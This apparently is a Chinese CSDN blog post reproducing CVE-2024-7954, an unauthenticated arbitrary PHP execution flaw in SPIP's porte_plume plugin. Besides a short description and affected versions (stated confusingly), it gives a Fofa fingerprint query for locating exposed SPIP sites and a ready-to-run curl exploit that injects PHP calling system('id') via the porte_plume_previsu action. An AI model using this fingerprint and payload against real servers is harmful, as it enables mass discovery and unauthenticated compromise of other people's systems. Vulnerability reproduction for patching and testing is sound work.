SPIP插件porte_plume PHP任意执行漏洞(CVE-2024-7954)

iSee857

已于 2024-08-28 18:35:23 修改

阅读量1.7k

点赞数 12

分类专栏：漏洞复现文章标签： php web安全

于 2024-08-28 15:57:34 首次发布

本文链接：https://blog.csdn.net/xc_214/article/details/141642654

版权

357 篇文章 ¥19.90 ¥99.00

订阅专栏

0x01 漏洞描述：

SPIP 4.30-alpha2、4.2.13、4.1.16之前的版本使用的porte_plume插件存在任意代码执行漏洞，远程未经身份验证的攻击者可以通过发送精心设计的HTTP 请求以SPIP用户身份执行任意PHP代码。

0x02 影响版本：

SPIP 4.30-alpha2 < 4.2.13

SPIP 4.30-alpha2 < 4.1.16

0x03 搜索语句：

Fofa:icon_hash=="-1224668706"

0x04 漏洞复现:

exp如下：

curl -sSkiL 'https://your-ip/index.php?action=porte_plume_previsu' -X POST -d 'data=AA_[<img111111>->URL`<?php system("id");?>`]_BB'

了解本专栏